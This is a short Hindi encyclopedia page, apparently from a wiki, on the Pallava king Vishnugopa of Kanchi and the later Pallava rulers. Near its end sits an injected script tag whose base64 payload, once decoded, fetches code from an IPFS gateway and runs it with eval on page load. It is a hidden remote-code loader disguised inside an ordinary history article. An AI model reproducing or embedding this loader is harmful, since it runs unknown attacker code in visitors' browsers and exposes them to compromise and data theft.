विष्णुगोप

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

विष्णुगोप (चौथा शती ई. के मध्य काल) से लेकर सिंह वर्मा (लगभग छठी शती ई. का उत्तरार्ध) के बीच लगभग आठ शासकों ने शासन किया।

  • प्रयाग प्रशस्ति के विवरण से स्पष्ट होता है कि, जिस समय समुद्रगुप्त ने दक्षिणापथ को जीता, उस समय कांची पर विष्णुगोप शासन कर रहा था।
  • विष्णुगोप के बाद ईसा की पांचवीं एवं छठीं शताब्दी में पल्लव वंश का इतिहास अंधेरे में था।
  • समुद्रगुप्त द्वारा विष्णुगुप्त के पराजित होने के बाद पल्लव राज्य विघटन के कागार पर पहुँच गया था।
  • विभिन्न शासको ने भिन्न-भिन्न प्रदेशों में अपनी स्वतंत्रता घोषित कर स्वतंत्र शाखाओं की स्थापना कर ली थी।
  • इन शासकों में-कुमार विष्णु प्रथम, बुद्ध वर्मा, कुमार विष्णु द्वितीय, स्कन्द वर्मा द्वितीय, सिंह वर्मा, स्कंद वर्मा तृतीय, नन्दिवर्मा प्रथम तथा शान्तिवर्मा चण्डदण्ड आदि प्रमुख थे।
  • सिंह वर्मा प्रथम के काल में प्रसिद्ध जैन ग्रंथ लोक विभाग की रचना की गईं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख